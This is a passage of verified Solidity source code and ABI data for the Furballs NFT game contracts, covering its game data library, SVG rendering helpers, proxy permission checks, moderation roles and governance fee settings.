Proxy registries are allowed to act as 3rd party trading platforms function canProxyTrades(address owner, address operator) external view returns(bool); /// @notice Authorization mechanics are upgradeable to account for security patches function approveSender(address sender) external view returns(uint); /// @notice Called when a Furball is traded to update delegate logic function onTrade( FurLib.Furball memory furball, address from, address to ) external; /// @notice Handles experience gain during collection function onExperience( FurLib.Furball memory furball, address owner, uint32 experience ) external returns(uint32 totalExp, uint16 level); /// @notice Gets called at the beginning of token render; could add underlaid artwork function render(uint256 tokenId) external view returns(string memory); /// @notice The loot engine can add descriptions to furballs metadata function furballDescription(uint256 tokenId) external view returns (string memory); }

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FurLib.RewardModifiers","name":"modifiers","type":"tuple"},{"components":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"},{"internalType":"uint256[]","name":"inventory","type":"uint256[]"}],"internalType":"struct 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FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/engines/EngineA.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./LootEngine.sol"; /// @title EngineA /// @author LFG Gaming LLC /// @notice Concrete implementation of LootEngine contract EngineA is LootEngine { constructor(address furballs, address tradeProxy, address companyProxy) LootEngine(furballs, tradeProxy, companyProxy) { } }

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IFurballEdition","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"engine","outputs":[{"internalType":"contract ILootEngine","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"components":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"}],"internalType":"struct FurLib.Feeding[]","name":"feedings","type":"tuple[]"},{"internalType":"address","name":"actor","type":"address"}],"name":"feed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fur","outputs":[{"internalType":"contract Fur","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"furballs","outputs":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"furgreement","outputs":[{"internalType":"contract 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FurLib.RewardModifiers","name":"modifiers","type":"tuple"},{"components":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"},{"internalType":"uint256[]","name":"inventory","type":"uint256[]"}],"internalType":"struct FurLib.Furball","name":"definition","type":"tuple"},{"components":[{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint32","name":"duration","type":"uint32"},{"internalType":"uint16","name":"furCost","type":"uint16"},{"internalType":"uint16","name":"happiness","type":"uint16"},{"internalType":"uint16","name":"energy","type":"uint16"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint64","name":"fed","type":"uint64"}],"internalType":"struct FurLib.Snack[]","name":"snacks","type":"tuple[]"}],"internalType":"struct FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/FurLib.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; /// @title FurLib /// @author LFG Gaming LLC /// @notice Utilities for Furballs /// @dev Each of the structs are designed to fit within 256 library FurLib { // Metadata about a wallet. struct Account { uint64 created; // First time this account received a furball uint32 numFurballs; // Number of furballs it currently holds uint32 maxFurballs; // Max it has ever held uint16 maxLevel; // Max level of any furball it currently holds uint16 reputation; // Value assigned by moderators to boost standing uint16 standing; // Computed current standing uint8 permissions; // 0 = user, 1 = moderator, 2 = admin, 3 = owner } // Key data structure given to clients for high-level furball access (furballs.stats) struct FurballStats { uint16 expRate; uint16 furRate; RewardModifiers modifiers; Furball definition; Snack[] snacks; } // The response from a single play session indicating rewards struct Rewards { uint16 levels; uint32 experience; uint32 fur; uint128 loot; } // Stored data structure in Furballs master contract which keeps track of mutable data struct Furball { uint32 number; // Overall number, starting with 1 uint16 count; // Index within the collection uint16 rarity; // Total rarity score for later boosts uint32 experience; // EXP uint32 zone; // When exploring, the zone number. Otherwise, battling. uint16 level; // Current EXP => level; can change based on level up during collect uint16 weight; // Total weight (number of items in inventory) uint64 birth; // Timestamp of furball creation uint64 trade; // Timestamp of last furball trading wallets uint64 last; // Timestamp of last action (battle/explore) uint32 moves; // The size of the collection array for this furball, which is move num. uint256[] inventory; // IDs of items in inventory } // A runtime-calculated set of properties that can affect Furball production during collect() struct RewardModifiers { uint16 expPercent; uint16 furPercent; uint16 luckPercent; uint16 happinessPoints; uint16 energyPoints; uint32 zone; } // For sale via loot engine. struct Snack { uint32 snackId; // Unique ID uint32 duration; // How long it lasts, !expressed in intervals! uint16 furCost; // How much FUR uint16 happiness; // +happiness bost points uint16 energy; // +energy boost points uint16 count; // How many in stack? uint64 fed; // When was it fed (if it is active)? } // Input to the feed() function for multi-play struct Feeding { uint256 tokenId; uint32 snackId; uint16 count; } uint32 public constant Max32 = type(uint32).max; uint8 public constant PERMISSION_USER = 1; uint8 public constant PERMISSION_MODERATOR = 2; uint8 public constant PERMISSION_ADMIN = 4; uint8 public constant PERMISSION_OWNER = 5; uint8 public constant PERMISSION_CONTRACT = 0x10; uint32 public constant EXP_PER_INTERVAL = 500; uint32 public constant FUR_PER_INTERVAL = 100; uint8 public constant LOOT_BYTE_STAT = 1; uint8 public constant LOOT_BYTE_RARITY = 2; uint8 public constant SNACK_BYTE_ENERGY = 0; uint8 public constant SNACK_BYTE_HAPPINESS = 2; uint256 public constant OnePercent = 1000; uint256 public constant OneHundredPercent = 100000; /// @notice Shortcut for equations that saves gas /// @dev The expression (0x100 ** byteNum) is expensive; this covers byte packing for editions. function bytePower(uint8 byteNum) internal pure returns (uint256) { if (byteNum == 0) return 0x1; if (byteNum == 1) return 0x100; if (byteNum == 2) return 0x10000; if (byteNum == 3) return 0x1000000; if (byteNum == 4) return 0x100000000; if (byteNum == 5) return 0x10000000000; if (byteNum == 6) return 0x1000000000000; if (byteNum == 7) return 0x100000000000000; if (byteNum == 8) return 0x10000000000000000; if (byteNum == 9) return 0x1000000000000000000; if (byteNum == 10) return 0x100000000000000000000; if (byteNum == 11) return 0x10000000000000000000000; if (byteNum == 12) return 0x1000000000000000000000000; return (0x100 ** byteNum); } /// @notice Helper to get a number of bytes from a value function extractBytes(uint value, uint8 startAt, uint8 numBytes) internal pure returns (uint) { return (value / bytePower(startAt)) % bytePower(numBytes); } /// @notice Converts exp into a sqrt-able number. function expToLevel(uint32 exp, uint32 maxExp) internal pure returns(uint256) { exp = exp > maxExp ? maxExp : exp; return sqrt(exp < 100 ? 0 : ((exp + exp - 100) / 100)); } /// @notice Simple square root function using the Babylonian method function sqrt(uint32 x) internal pure returns(uint256) { if (x < 1) return 0; if (x < 4) return 1; uint z = (x + 1) / 2; uint y = x; while (z < y) { y = z; z = (x / z + z) / 2; } return y; } /// @notice Convert bytes into a hex str, e.g., an address str function bytesHex(bytes memory data) internal pure returns(string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(data.length * 2); for (uint i = 0; i < data.length; i++) { str[i*2] = alphabet[uint(uint8(data[i] >> 4))]; str[1 + i*2] = alphabet[uint(uint8(data[i] & 0x0f))]; } return string(str); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; string memory table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; uint256 encodedLen = 4 * ((data.length + 2) / 3); string memory result = new string(encodedLen + 32); assembly { mstore(result, encodedLen) let tablePtr := add(table, 1) let dataPtr := data let endPtr := add(dataPtr, mload(data)) let resultPtr := add(result, 32) for { } lt(dataPtr, endPtr) { } { dataPtr := add(dataPtr, 3) let input := mload(dataPtr) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F)))) ) resultPtr := add(resultPtr, 1) mstore( resultPtr, shl(248, mload(add(tablePtr, and(input, 0x3F)))) ) resultPtr := add(resultPtr, 1) } switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } }

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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/FurDefs.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title FurLib /// @author LFG Gaming LLC /// @notice Public utility library around game-specific equations and constants library FurDefs { function rarityName(uint8 rarity) internal pure returns(string memory) { if (rarity == 0) return "Common"; if (rarity == 1) return "Elite"; if (rarity == 2) return "Mythic"; if (rarity == 3) return "Legendary"; return "Ultimate"; } function raritySuffix(uint8 rarity) internal pure returns(string memory) { return rarity == 0 ? "" : string(abi.encodePacked(" (", rarityName(rarity), ")")); } function renderPoints(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 cnt = uint8(data[ptr]); ptr++; bytes memory points = ""; for (uint256 i=0; i<cnt; i++) { uint16 x = uint8(data[ptr]) * 256 + uint8(data[ptr + 1]); uint16 y = uint8(data[ptr + 2]) * 256 + uint8(data[ptr + 3]); points = abi.encodePacked(points, FurLib.uint2str(x), ',', FurLib.uint2str(y), i == (cnt - 1) ? '': ' '); ptr += 4; } return (ptr, abi.encodePacked('points="', points, '" ')); } function renderTransform(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 len = uint8(data[ptr]); ptr++; bytes memory points = ""; for (uint256 i=0; i<len; i++) { bytes memory point = ""; (ptr, point) = unpackFloat(ptr, data); points = i == (len - 1) ? abi.encodePacked(points, point) : abi.encodePacked(points, point, ' '); } return (ptr, abi.encodePacked('transform="matrix(', points, ')" ')); } function renderDisplay(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { string[2] memory vals = ['inline', 'none']; return (ptr + 1, abi.encodePacked('display="', vals[uint8(data[ptr])], '" ')); } function renderFloat(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 propType = uint8(data[ptr]); string[2] memory floatMap = ['opacity', 'offset']; bytes memory floatVal = ""; (ptr, floatVal) = unpackFloat(ptr + 1, data); return (ptr, abi.encodePacked(floatMap[propType], '="', floatVal,'" ')); } function unpackFloat(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { uint8 decimals = uint8(data[ptr]); ptr++; if (decimals == 0) return (ptr, '0'); uint8 hi = decimals / 16; uint16 wholeNum = 0; decimals = decimals % 16; if (hi >= 10) { wholeNum = uint16(uint8(data[ptr]) * 256 + uint8(data[ptr + 1])); ptr += 2; } else if (hi >= 8) { wholeNum = uint16(uint8(data[ptr])); ptr++; } if (decimals == 0) return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum))); bytes memory remainder = new bytes(decimals); for (uint8 d=0; d<decimals; d+=2) { remainder[d] = bytes1(48 + uint8(data[ptr] >> 4)); if ((d + 1) < decimals) { remainder[d+1] = bytes1(48 + uint8(data[ptr] & 0x0f)); } ptr++; } return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum), '.', remainder)); } function renderInt(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 propType = uint8(data[ptr]); string[13] memory intMap = ['cx', 'cy', 'x', 'x1', 'x2', 'y', 'y1', 'y2', 'r', 'rx', 'ry', 'width', 'height']; uint16 val = uint16(uint8(data[ptr + 1]) * 256) + uint8(data[ptr + 2]); if (val >= 0x8000) { return (ptr + 3, abi.encodePacked(intMap[propType], '="-', FurLib.uint2str(uint32(0x10000 - val)),'" ')); } return (ptr + 3, abi.encodePacked(intMap[propType], '="', FurLib.uint2str(val),'" ')); } function renderStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { string[4] memory strMap = ['id', 'enable-background', 'gradientUnits', 'gradientTransform']; uint8 t = uint8(data[ptr]); require(t < 4, 'STR'); bytes memory str = ""; (ptr, str) = unpackStr(ptr + 1, data); return (ptr, abi.encodePacked(strMap[t], '="', str, '" ')); } function unpackStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { uint8 len = uint8(data[ptr]); bytes memory str = bytes(new string(len)); for (uint8 i=0; i<len; i++) { str[i] = data[ptr + 1 + i]; } return (ptr + 1 + len, str); } }

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FurLib.RewardModifiers","name":"modifiers","type":"tuple"},{"components":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"},{"internalType":"uint256[]","name":"inventory","type":"uint256[]"}],"internalType":"struct FurLib.Furball","name":"definition","type":"tuple"},{"components":[{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint32","name":"duration","type":"uint32"},{"internalType":"uint16","name":"furCost","type":"uint16"},{"internalType":"uint16","name":"happiness","type":"uint16"},{"internalType":"uint16","name":"energy","type":"uint16"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint64","name":"fed","type":"uint64"}],"internalType":"struct FurLib.Snack[]","name":"snacks","type":"tuple[]"}],"internalType":"struct FurLib.FurballStats","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint128","name":"lootId","type":"uint128"},{"internalType":"uint8","name":"chances","type":"uint8"},{"internalType":"address","name":"actor","type":"address"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/FurProxy.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../Furballs.sol"; import "./FurLib.sol"; /// @title FurProxy /// @author LFG Gaming LLC /// @notice Manages a link from a sub-contract back to the master Furballs contract /// @dev Provides permissions by means of proxy abstract contract FurProxy { Furballs public furballs; constructor(address furballsAddress) { furballs = Furballs(furballsAddress); } /// @notice Allow upgrading contract links function setFurballs(address addr) external onlyOwner { furballs = Furballs(addr); } /// @notice Proxied from permissions lookup modifier onlyOwner() { require(_permissions(msg.sender) >= FurLib.PERMISSION_OWNER, "OWN"); _; } /// @notice Permission modifier for moderators (covers owner) modifier gameAdmin() { require(_permissions(msg.sender) >= FurLib.PERMISSION_ADMIN, "GAME"); _; } /// @notice Permission modifier for moderators (covers admin) modifier gameModerators() { require(_permissions(msg.sender) >= FurLib.PERMISSION_MODERATOR, "MOD"); _; } modifier onlyFurballs() { require(msg.sender == address(furballs), "FBL"); _; } /// @notice Generalized permissions flag for a given address function _permissions(address addr) internal view returns (uint8) { // User permissions will return "zero" quickly if this didn't come from a wallet. uint8 permissions = _userPermissions(addr); if (permissions > 0) return permissions; if (addr == address(furballs) || addr == address(furballs.engine()) || addr == address(furballs.furgreement()) || addr == address(furballs.governance()) || addr == address(furballs.fur()) ) { return FurLib.PERMISSION_CONTRACT; } return 0; } function _userPermissions(address addr) internal view returns (uint8) { // Invalid addresses include contracts an non-wallet interactions, which have no permissions if (addr == address(0)) return 0; uint256 size; assembly { size := extcodesize(addr) } if (addr != tx.origin || size != 0) return 0; if (addr == furballs.owner()) return FurLib.PERMISSION_OWNER; if (furballs.isAdmin(addr)) return FurLib.PERMISSION_ADMIN; if (furballs.isModerator(addr)) return FurLib.PERMISSION_MODERATOR; return FurLib.PERMISSION_USER; } }

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Fur","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"furballs","outputs":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"furgreement","outputs":[{"internalType":"contract Furgreement","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"governance","outputs":[{"internalType":"contract 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FurLib.RewardModifiers","name":"modifiers","type":"tuple"},{"components":[{"internalType":"uint32","name":"number","type":"uint32"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint16","name":"rarity","type":"uint16"},{"internalType":"uint32","name":"experience","type":"uint32"},{"internalType":"uint32","name":"zone","type":"uint32"},{"internalType":"uint16","name":"level","type":"uint16"},{"internalType":"uint16","name":"weight","type":"uint16"},{"internalType":"uint64","name":"birth","type":"uint64"},{"internalType":"uint64","name":"trade","type":"uint64"},{"internalType":"uint64","name":"last","type":"uint64"},{"internalType":"uint32","name":"moves","type":"uint32"},{"internalType":"uint256[]","name":"inventory","type":"uint256[]"}],"internalType":"struct FurLib.Furball","name":"definition","type":"tuple"},{"components":[{"internalType":"uint32","name":"snackId","type":"uint32"},{"internalType":"uint32","name":"duration","type":"uint32"},{"internalType":"uint16","name":"furCost","type":"uint16"},{"internalType":"uint16","name":"happiness","type":"uint16"},{"internalType":"uint16","name":"energy","type":"uint16"},{"internalType":"uint16","name":"count","type":"uint16"},{"internalType":"uint64","name":"fed","type":"uint64"}],"internalType":"struct FurLib.Snack[]","name":"snacks","type":"tuple[]"}],"internalType":"struct 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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/Moderated.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; /// @title Moderated /// @author LFG Gaming LLC /// @notice Administration & moderation permissions utilities abstract contract Moderated is Ownable { mapping (address => bool) public admins; mapping (address => bool) public moderators; function setAdmin(address addr, bool set) external onlyOwner { require(addr != address(0)); admins[addr] = set; } /// @notice Moderated ownables may not be renounced (only transferred) function renounceOwnership() public override onlyOwner { require(false, 'OWN'); } function setModerator(address mod, bool set) external onlyAdmin { require(mod != address(0)); moderators[mod] = set; } function isAdmin(address addr) public virtual view returns(bool) { return owner() == addr || admins[addr]; } function isModerator(address addr) public virtual view returns(bool) { return isAdmin(addr) || moderators[addr]; } modifier onlyModerators() { require(isModerator(msg.sender), 'MOD'); _; } modifier onlyAdmin() { require(isAdmin(msg.sender), 'ADMIN'); _; } }

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v0.8.7+commit.e28d00a7

0000000000000000000000000000000000000000000000000000000000000e10

Default

Furballs

contracts/utils/Governance.sol

0x2d004b72d8b7d36f9da2e4a14516618bf53bac57

Solidity

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./Stakeholders.sol"; import "./Community.sol"; import "./FurLib.sol"; /// @title Governance /// @author LFG Gaming LLC /// @notice Meta-tracker for Furballs; looks at the ecosystem (metadata, wallet counts, etc.) /// @dev Shares is an ERC20; stakeholders is a payable contract Governance is Stakeholders { /// @notice Where transaction fees are deposited address payable public treasury; /// @notice How much is the transaction fee, in basis points? uint16 public transactionFee = 250; /// @notice Used in contractURI for Furballs itself. string public metaName = "Furballs.com (Official)"; /// @notice Used in contractURI for Furballs itself. string public metaDescription = "Furballs are entirely on-chain, with a full interactive gameplay experience at Furballs.com. " "There are 88 billion+ possible furball combinations in the first edition, each with their own special abilities" "... but only thousands minted per edition. Each edition has new artwork, game modes, and surprises."; // Tracks the MAX which are ever owned by a given address. mapping(address => FurLib.Account) private _account; // List of all addresses which have ever owned a furball. address[] public accounts; Community public community; constructor(address furballsAddress) Stakeholders(furballsAddress) { treasury = payable(this); } /// @notice Generic form of contractURI for on-chain packing. /// @dev Proxied from Furballs, but not called contractURI so as to not imply this ERC20 is tradeable. function metaURI() public view returns(string memory) { return string(abi.encodePacked("data:application/json;base64,", FurLib.encode(abi.encodePacked( '{"name": "', metaName,'", "description": "', metaDescription,'"', ', "external_link": "https://furballs.com"', ', "image": "https://furballs.com/images/pfp.png"', ', "seller_fee_basis_points": ', FurLib.uint2str(transactionFee), ', "fee_recipient": "0x', FurLib.bytesHex(abi.encodePacked(treasury)), '"}' )))); } /// @notice total count of accounts function numAccounts() external view returns(uint256) { return accounts.length; } /// @notice Update metadata for main contractURI function setMeta(string memory nameVal, string memory descVal) external gameAdmin { metaName = nameVal; metaDescription = descVal; } /// @notice The transaction fee can be adjusted function setTransactionFee(uint16 basisPoints) external gameAdmin { transactionFee = basisPoints; } /// @notice The treasury can be changed in only rare circumstances. function setTreasury(address treasuryAddress) external onlyOwner { treasury = payable(treasuryAddress); } /// @notice The treasury can be changed in only rare circumstances. function setCommunity(address communityAddress) external onlyOwner { community = Community(communityAddress); } /// @notice public accessor updates permissions function getAccount(address addr) external view returns (FurLib.Account memory) { FurLib.Account memory acc = _account[addr]; acc.permissions = _userPermissions(addr); return acc; } /// @notice Public function allowing manual update of standings function updateStandings(address[] memory addrs) public { for (uint32 i=0; i<addrs.length; i++) { _updateStanding(addrs[i]); } } /// @notice Moderators may assign reputation to accounts function setReputation(address addr, uint16 rep) external gameModerators { _account[addr].reputation = rep; } /// @notice Tracks the max level an account has *obtained* function updateMaxLevel(address addr, uint16 level) external gameAdmin { if (_account[addr].maxLevel >= level) return; _account[addr].maxLevel = level; _updateStanding(addr); } /// @notice Recompute max stats for the account. function updateAccount(address addr, uint256 numFurballs) external gameAdmin { FurLib.Account memory acc = _account[addr]; // Recompute account permissions for internal rewards uint8 permissions = _userPermissions(addr); if (permissions != acc.permissions) _account[addr].permissions = permissions; // New account created? if (acc.created == 0) _account[addr].created = uint64(block.timestamp); if (acc.numFurballs != numFurballs) _account[addr].numFurballs = uint32(numFurballs); // New max furballs? if (numFurballs > acc.maxFurballs) { if (acc.maxFurballs == 0) accounts.push(addr); _account[addr].maxFurballs = uint32(numFurballs); } _updateStanding(addr); } /// @notice Re-computes the account's standing function _updateStanding(address addr) internal { uint256 standing = 0; FurLib.Account memory acc = _account[addr]; if (address(community) != address(0)) { // If community is patched in later... standing = community.update(acc, addr); } else { // Default computation of 